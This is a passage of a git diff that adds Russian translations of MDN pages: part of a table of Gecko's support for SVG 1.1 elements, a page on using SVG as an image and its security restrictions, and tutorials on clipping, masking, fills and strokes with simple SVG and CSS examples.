+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feDisplacementMapElement">feDisplacementMap</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feFloodElement">feFlood</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feGaussianBlurElement">feGaussianBlur</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feImageElement">feImage</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+     <li>Фрагменты документа ({{bug(455986)}}) не поддерживаются в &lt;svg:feImage&gt;. </li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feMergeElement">feMerge</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feMergeNodeElement">feMergeNode</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feMorphologyElement">feMorphology</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feOffsetElement">feOffset</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feSpecularLightingElement">feSpecularLighting</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feTileElement">feTile</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feTurbulenceElement">feTurbulence</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feDistantLightElement">feDistantLight</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#fePointLightElement">fePointLight</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feSpotLightElement">feSpotLight</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feFuncRElement">feFuncR</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feFuncGElement">feFuncG</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feFuncBElement">feFuncB</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/filters.html#feFuncAElement">feFuncA</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/interact.html#cursor-mod">Cursor Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/interact.html#CursorElement">cursor</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена ({{Bug(177193)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/linking.html#hyperlinking-mod">Hyperlinking Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/linking.html#AElement">a</a></td>
+   <td>
+    <ul>
+     <li>Исправлены только <code>xlink:href</code>, <code>xlink:show</code>, <code>xlink:target</code> и атрибуты заголовка <code>xlink:title</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/linking.html#view-mod">View Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/linking.html#ViewElement">view</a></td>
+   <td>
+    <ul>
+     <li>Выполнено в Gecko 15.0 ({{Bug(512525)}}). {{gecko_minversion_inline("15.0")}}.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/script.html#scripting-mod">Scripting Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/script.html#ScriptElement">script</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/animate.html#animation-mod">Animation Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#AnimateElement">animate</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#SetElement">set</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#AnimateMotionElement">animateMotion</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#AnimateTransformElement">animateTransform</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#AnimateColorElement">animateColor</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена ({{Bug(436296)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/animate.html#mpathElement">mpath</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/fonts.html#font-mod">Font Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontElement" title="http://www.w3.org/TR/SVG11/fonts.html#FontElement">font</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена ({{Bug(119490)}}).</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#GlyphElement">glyph</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#MissingGlyphElement">missing-glyph</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#HKernElement">hkern</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#VKernElement">vkern</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontFaceSrcElement">font-face-src</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-uri</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-format</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-name</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr style="color: black; background-color: salmon;">
+   <td><a href="https://www.w3.org/TR/SVG11/fonts.html#DefinitionSrcElement">definition-src</a></td>
+   <td>
+    <ul>
+     <li>Не выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th colspan="2" style="text-align: center;"><a href="https://www.w3.org/TR/SVG11/extend.html#extensibility-mod">Extensibility Module</a></th>
+  </tr>
+  <tr style="color: black; background-color: lightgreen;">
+   <td><a href="https://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">foreignObject</a></td>
+   <td>
+    <ul>
+     <li>Выполнена.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/svg/svg_as_an_image/index.html b/files/ru/web/svg/svg_as_an_image/index.html
new file mode 100644
index 0000000000..e179b323b2
--- /dev/null
+++ b/files/ru/web/svg/svg_as_an_image/index.html
@@ -0,0 +1,66 @@
+---
+title: SVG как изображение
+slug: Web/SVG/SVG_as_an_Image
+translation_of: Web/SVG/SVG_as_an_Image
+---
+<p><span class="seoSummary">Изображения SVG могут использоваться как формат изображения в ряде контекстов. Многие браузеры поддерживают изображения SVG:</span></p>
+
+<ul>
+ <li>Элементы HTML {{HTMLElement("img")}} или {{SVGElement("svg")}}</li>
+ <li>CSS {{cssxref("background-image")}}</li>
+</ul>
+
+<h2 id="Гекко-специфические_контексты">Гекко-специфические контексты</h2>
+
+<p>Кроме того, Gecko 2.0 {{geckoRelease("2.0")}} представил поддержку использования  <a href="/en-US/docs/SVG">SVG</a> iв следующих контекстах:</p>
+
+<ul>
+ <li>CSS {{cssxref("list-style-image")}}</li>
+ <li>CSS {{cssxref("content")}}</li>
+ <li>Элементы SVG {{SVGElement("image")}}</li>
+ <li>Элементы SVG {{SVGElement("feImage")}}</li>
+ <li>Функция Canvas <a href="/en-US/docs/HTML/Canvas/Tutorial/Using_images#drawImage"><code>drawImage</code></a></li>
+</ul>
+
+<h3 id="Ограничения">Ограничения</h3>
+
+<p>В целях безопасности, Gecko накладывает некоторые ограничения на контент SVG, когда он используется в качестве изображения:</p>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript">JavaScript</a> отключен.</li>
+ <li>Внешние ресурсы (например, изображеня, таблицы стилей) не могут быть загружены, хотя их можно использовать, если они встроены в данные: URI.</li>
+ <li>{{cssxref(":visited")}}-стили ссылок не отображаются.</li>
+ <li>Стилизация виджитов на платформе (основанная на теме ОС) отключена.</li>
+</ul>
+
+<p>Обратите внимание, что вышеуказанные ограничения являются специфическими для контекстов изображения; они не применяются, когда содержимое SVG  просматривается напрямую или когда оно внедрено в виде документа с помощью встраивания элементов {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, или {{HTMLElement("embed")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "embedded-content-0.html#the-img-element", "SVG within &lt;img&gt; element")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Определяет использование SVG в элементах {{HTMLElement("img")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Backgrounds", "#the-background-image", "SVG within 'background-image' CSS property")}}</td>
+   <td>{{Spec2("CSS3 Backgrounds")}}</td>
+   <td>Определяет использование SVG со свойствами {{cssxref("background-image")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/SVG_In_HTML_Introduction">SVG в HTML. Введение</a></li>
+</ul>
diff --git a/files/ru/web/svg/tutorial/clipping_and_masking/index.html b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
new file mode 100644
index 0000000000..f5d2198fc8
--- /dev/null
+++ b/files/ru/web/svg/tutorial/clipping_and_masking/index.html
@@ -0,0 +1,87 @@
+---
+title: Обрезка и маска
+slug: Web/SVG/Tutorial/Clipping_and_masking
+translation_of: Web/SVG/Tutorial/Clipping_and_masking
+---
+<p><br>
+ {{ PreviousNext("Web/SVG/Tutorial/Basic_Transformations", "Web/SVG/Tutorial/Other_content_in_SVG") }}</p>
+
+<p> </p>
+
+<p>На первый взгляд, странно стирать то, что было только что нарисовано. Но когда вы попытаетесь создать полукруг в SVG, то сразу столкнетесь со следующими свойствами.<br>
+ <br>
+ <strong>Обрезка (Clipping) </strong>позволяет скрыть часть одного или нескольких элементов, используя другой. В этом случае нельзя настроить прозрачность элемента, это подход «все или ничего».<br>
+ <br>
+ <strong>Маска</strong>, с другой стороны, позволяет создавать полупрозрачные эффекты (например, размытые края).</p>
+
+<h3 id="Кадрирование_изображений">Кадрирование изображений</h3>
+
+<p>Мы можем создать полукруг на основе окружности:</p>
+
+<pre class="brush: html">&lt;svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cut-off-bottom"&gt;
+      &lt;rect x="0" y="0" width="200" height="100" /&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+
+  &lt;circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>По центру (100,100) нарисован круг с радиусом 100. Атрибут<code> clip-path</code> ссылается на элемент <code>{{ SVGElement("clipPath") }}</code>, который содержит элемент <code>rect</code>. Этот прямоугольник позволит отрисовать верхнюю половину черного холста. Обратите внимание, что элемент <code>clipPath</code> обычно помещается в раздел <code>defs</code>.<br>
+ <br>
+ При этом сам прямоугольник отрисован не будет. Вместо этого прямоугольник задаст область отрисовки. Так как прямоугольник перекрывает только верхнюю половину круга, нижняя половина круга исчезает:</p>
+
+<p>{{ EmbedLiveSample('Creating_clips','240','240','/files/3224/clipdemo.png') }}</p>
+
+<p>Теперь мы получили полуокружность без необходимости использования элемента <code>path</code>.  При “обрезке” каждый путь внутри <code>clipPath</code> проверяется и оценивается вместе с его свойствами <code>stroke</code> и <code>transform</code>. Другими словами, все что не находится в залитой области <code>clipPath</code> не будет отображено. Цвет, непрозрачность и т. д. не влияют на результат.</p>
+
+<h3 id="Маска">Маска</h3>
+
+<p>Хороший пример использования маски - это градиент. В разных местах изображения с помощью масок можно добиться разной степени прозрачности.</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient"&gt;
+      &lt;stop offset="0" stop-color="white" stop-opacity="0" /&gt;
+      &lt;stop offset="1" stop-color="white" stop-opacity="1" /&gt;
+    &lt;/linearGradient&gt;
+    &lt;mask id="Mask"&gt;
+      &lt;rect x="0" y="0" width="200" height="200" fill="url(#Gradient)"  /&gt;
+    &lt;/mask&gt;
+  &lt;/defs&gt;
+
+  &lt;rect x="0" y="0" width="200" height="200" fill="green" /&gt;
+  &lt;rect x="0" y="0" width="200" height="200" fill="red" mask="url(#Mask)" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Фактически на примере находятся два прямоугольника: зеленый на нижнем слое и красный на верхнем. У красного есть атрибут <code>mask</code>, который ссылается на элемент <code>mask</code>. Содержимое маски это элемент <code>rect</code>, заполненный градиентом, где прозрачная заливка перетекает в белую. В результате, пиксели красного прямоугольника наследуют прозрачность (alpha-value) маски, и мы видим красно-зеленый градиент: </p>
+
+<p>{{ EmbedLiveSample('Masking','240','240','/files/3234/maskdemo.png') }}</p>
+
+<h3 id="Прозрачность_opacity">Прозрачность <code>opacity</code></h3>
+
+<p>Можно достаточно просто установить прозрачность для всего элемента, например используя атрибут <code>opacity</code>:</p>
+
+<pre class="brush: xml">&lt;rect x="0" y="0" width="100" height="100" opacity=".5" /&gt;
+</pre>
+
+<p>Вышеуказанный прямоугольник будет полупрозрачным. Для того, чтобы задать непрозрачность заливке или контуру мы можем использовать 2 отдельных атрибута <code>fill-opacity</code> и <code>stroke-opacity</code>. Обратите внимание, что заполнение контура будет перекрывать основную заливку. Следовательно, если установить прозрачность  контура у элемента, который также имеет заливку, половина контура наложится на цвет заливки, а другая на фон:</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;rect x="0" y="0" width="200" height="200" fill="blue" /&gt;
+  &lt;circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Transparency_with_opacity','240','240','/files/3231/opacitydemo.png') }}</p>
+
+<p>В этом примере используется красный круг на голубом фоне. Желтый контур установлен на 50% непрозрачности, что приводит к эффекту двойного цвета.</p>
+
+<h2 id="Использование_хорошо_известных_CSS_техник">Использование хорошо известных CSS техник</h2>
+
+<p>Одним из мощных инструментов является <code>display: none</code>. Поэтому неудивительно, что было принято решение использовать это CSS  свойство в SVG вместе с <code>visibility</code> и <code>clip</code>, как определено в CSS 2. Для восстановления значения по умолчанию ранее важно знать, что начальное значение для всех элементов SVG  - <code>inline</code>.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Transformations", "Web/SVG/Tutorial/Other_content_in_SVG") }}</p>
diff --git a/files/ru/web/svg/tutorial/fills_and_strokes/index.html b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
new file mode 100644
index 0000000000..0caf2a76c5
--- /dev/null
+++ b/files/ru/web/svg/tutorial/fills_and_strokes/index.html
@@ -0,0 +1,145 @@
+---
+title: Заливка и обводка
+slug: Web/SVG/Tutorial/Fills_and_Strokes
+translation_of: Web/SVG/Tutorial/Fills_and_Strokes
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Paths", "Web/SVG/Tutorial/Gradients") }}</p>
+
+<p>Есть несколько способов раскрасить фигуры SVG (в т.ч. с указанием атрибутов объекта), используя инлайн-CSS, встроенную CSS-секцию, или внешний файл CSS. Большая часть SVG, которую вы встретите в интернете, использует встроенный CSS, однако преимущества и недостатки есть у каждого типа.</p>
+
+<h2 id="Fill_and_Stroke_Attributes" name="Fill_and_Stroke_Attributes">Атрибуты заливки и обводки (Fill and Stroke Attributes)</h2>
+
+<h3 id="Painting" name="Painting">Раскраска (Painting)</h3>
+
+<p>Основная раскраска может быть сделана установкой двух свойств на ноде - <em>fill </em>и <em>stroke. Fill - </em>устанавливает цвет внутри объекта, а <em>stroke </em>задаёт цвет линии, которая рисуется вокруг объекта. Вы можете использовать CSS-наименования цветов, что и в HTML - названия цветов (например,<em> red)</em>, rgb-значения, hex-значения, rgba-значения и т.д.</p>
+
+<pre class="brush:xml;"> &lt;rect x="10" y="10" width="100" height="100" stroke="blue" fill="purple"
+       fill-opacity="0.5" stroke-opacity="0.8"/&gt;
+</pre>
+
+<p>Кроме того, вы можете задать прозрачность заливке и обводке по отдельности в SVG. Их прозрачность управляется атрибутами <em>fill-opacity, stroke-opacity.</em></p>
+
+<div class="note style-wrap">Замечание: в Файрфокс 3+ допустимы rgba-значения и это даёт такой же эффект прозрачности, но для совместимости с другими просмотрщиками часто лучше определить прозрачность обводки/заливки отдельно. Если вы укажете и rgba-значение и значение <em>fill-opacity/stroke-opacity - </em>будут применены оба.</div>
+
+<h3 id="Stroke" name="Stroke">Обводка (Stroke)</h3>
+
+<p>Кроме цветовых свойств обводки, есть несколько атрибутов, управляющих способом обводки.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/355/=SVG_Stroke_Linecap_Example.png" style="float: right;"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/&gt;
+  &lt;line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/&gt;
+  &lt;line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Свойство <em>stroke-width </em>определяет ширину обводки. Штрихи обводки рисуются вокруг пути. В примере выше путь изображен розовым, а обводка - черным.</p>
+
+<p>Второй атрибут, влияющий на обводку - свойство <em>stroke-linecap. </em>Демонстрируется выше. Свойство управляет отображениеи концов линий.</p>
+
+<p>Есть три возможных значения для <em>stroke-linecap</em>:</p>
+
+<ul>
+ <li><code>butt</code> обрывает линию под прямым углом к направлению обводки и делает это сразу по окончании линии.</li>
+ <li><code>square</code> в основном действует также, но немного растягивает обводку по краям пути. Длина, на которую продлевается обводка - это половина заданного значения <em>stroke-width.</em></li>
+ <li><code>round</code> задаёт закругленные углы по краям обводки. Радиус этих кривых также управляется параметром <em>stroke-width.</em></li>
+</ul>
+
+<p>Используйте<code><em> </em>stroke-linejoin</code>, чтобы определить, как соединять обводку двух сегментов линии.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/356/=SVG_Stroke_Linejoin_Example.png" style="float: right;"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20"
+      stroke-linecap="butt" fill="none" stroke-linejoin="miter"/&gt;
+
+  &lt;polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20"
+      stroke-linecap="round" fill="none" stroke-linejoin="round"/&gt;
+
+  &lt;polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20"
+      stroke-linecap="square" fill="none" stroke-linejoin="bevel"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Каждая из этих полилиний имеет два сегмента. Соединение, где они встречаются, управляется атрибутом <code>stroke-linejoin</code>. Есть три возможных значения для этого атрибута:</p>
+
+<ul>
+ <li><code>miter </code>продолжает линию обводки дальше её обычной ширины, чтобы создать единственный квадратный угол.</li>
+ <li><code>round </code>создаёт закругленный сегмент линии</li>
+ <li><code>bevel </code>создаёт новый угол для помощи в переходе между двумя сегментами</li>
+</ul>
+
+<p>Наконец, вы можете использовать пунктирные линии в обводке, определив атрибут <code>stroke-dasharray</code>.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/354/=SVG_Stroke_Dasharray_Example.png" style="float: right;"></p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;path d="M 10 75 Q 50 10 100 75 T 190 75" stroke="black"
+    stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/&gt;
+  &lt;path d="M 10 75 L 190 75" stroke="red"
+    stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>В качестве аргумента атрибут <code>stroke-dasharray </code>принимает последовательность чисел, разделенных запятой.</p>
+
+<div class="note">
+<p>Замечание: в отличие от путей, эти числа ДОЛЖНЫ быть разделены запятыми (пробелы игнорируются).</p>
+</div>
+
+<p>Первое число определяет длину штриха, второе - длину между штрихами. В примере выше, второй путь чередует заливку штрихом в 5 пикселей, затем 5 пустых пикселей перед следующим штрихом в 5 пикселей. Вы можете задать больше чисел, если хотите более сложную систему штрихов. В первом примере задано 3 числа и в этом случае рендер берет эти числа дважды, чтобы создать четный паттерн. Т.о. первый путь отображается 5 закрашенными, 10 пустыми, 5 закрашенными и затем ещё раз 5 пустыми, 10 закрашенными, 5 пустыми "пикселями". Затем паттерн повторяется.</p>
+
+<p>Также есть дополнительные <strong>stroke </strong>и <strong>fill </strong>свойства: <code><a href="/en-US/docs/Web/SVG/Attribute/fill-rule">fill-rule</a>, которое определяет как будут заливаться сложные фигуры, которые имеют пересечения внутри себя;</code> <code><a href="/en-US/docs/Web/SVG/Attribute/stroke-miterlimit">stroke-miterlimit</a>, </code>which determines if a stroke should draw miters<code> и </code><a href="/en-US/docs/Web/SVG/Attribute/stroke-dashoffset">stroke-dashoffset</a>, который указывает где начинается dash-array в линии (позволяет задать смещение пунктирной обводки относительно первоначального положения)</p>
+
+<h2 id="Using_CSS" name="Using_CSS">Использование CSS (Using CSS)</h2>
+
+<p>В дополнение к установке атрибутов объектов, вы также можете использовать CSS для стилизации заливки и обводки. Не все атрибуты могут быть установлены через CSS. Но атрибуты взаимодействия с раскраской и заливкой обычно доступны, так что <code>fill, stroke, stroke-dasharray </code>и т.д. могут быть заданы этим способом, также как и градиенты, и паттерны, что показано ниже. Атрибуты вроде <code>width, height </code>или команд для путей SVG не могут быть установлены через CSS. Проще всего просто протестировать и узнать, что доступно, а что нет.</p>
+
+<div class="note style-wrap"><a href="http://www.w3.org/TR/SVG/propidx.html">Спецификация SVG</a> строго разделяет атрибуты на <em>свойства</em> и другие атрибуты. Первые могут быть изменены через CSS, а вторые - нет.</div>
+
+<p>CSS может использоваться инлайн через атрибут <code>style</code>:</p>
+
+<pre class="brush:xml;"> &lt;rect x="10" height="180" y="10" width="180" style="stroke: black; fill: red;"/&gt;
+</pre>
+
+<p>или может быть помещен в специальную стилевую секцию, которую вы включите. Вместо отображения такой секции в разделе <code>&lt;head&gt;, </code>как это делается в HTML, она включается в зону <code>&lt;defs&gt;, </code>предназначенную для определений. Здесь можно создавать элементы, которые не появятся сами в SVG, но будут использованы другими элементами.</p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;defs&gt;
+    &lt;style type="text/css"&gt;&lt;![CDATA[
+       #MyRect {
+         stroke: black;
+         fill: red;
+       }
+    ]]&gt;&lt;/style&gt;
+  &lt;/defs&gt;
+  &lt;rect x="10" height="180" y="10" width="180" id="MyRect"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Перемещение стилей в отдельную зону может сделать проще применение свойств к большим группам элементов. Вы также можете использовать вещи типа псевдоклассов наведения для создания эффектов переворачивания:</p>
+
+<pre class="brush:css;"> #MyRect:hover {
+   stroke: black;
+   fill: blue;
+ }
+</pre>
+
+<p>Также можно определить отдельный файл стилей для ваших CSS-правил через <a href="http://www.w3.org/TR/xml-stylesheet/">обычный XML-stylesheet синтаксис</a>:</p>
+
+<pre class="brush:xml;">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;?xml-stylesheet type="text/css" href="style.css"?&gt;
+
+&lt;svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;rect height="10" width="10" id="MyRect"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>где style.css выглядит примерно так</p>
+
+<pre class="brush:css;">#MyRect {
+  fill: red;
+  stroke: black;
+}</pre>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Paths", "Web/SVG/Tutorial/Gradients") }}</p>
diff --git a/files/ru/web/svg/tutorial/filter_effects/index.html b/files/ru/web/svg/tutorial/filter_effects/index.html
new file mode 100644
index 0000000000..d063063795
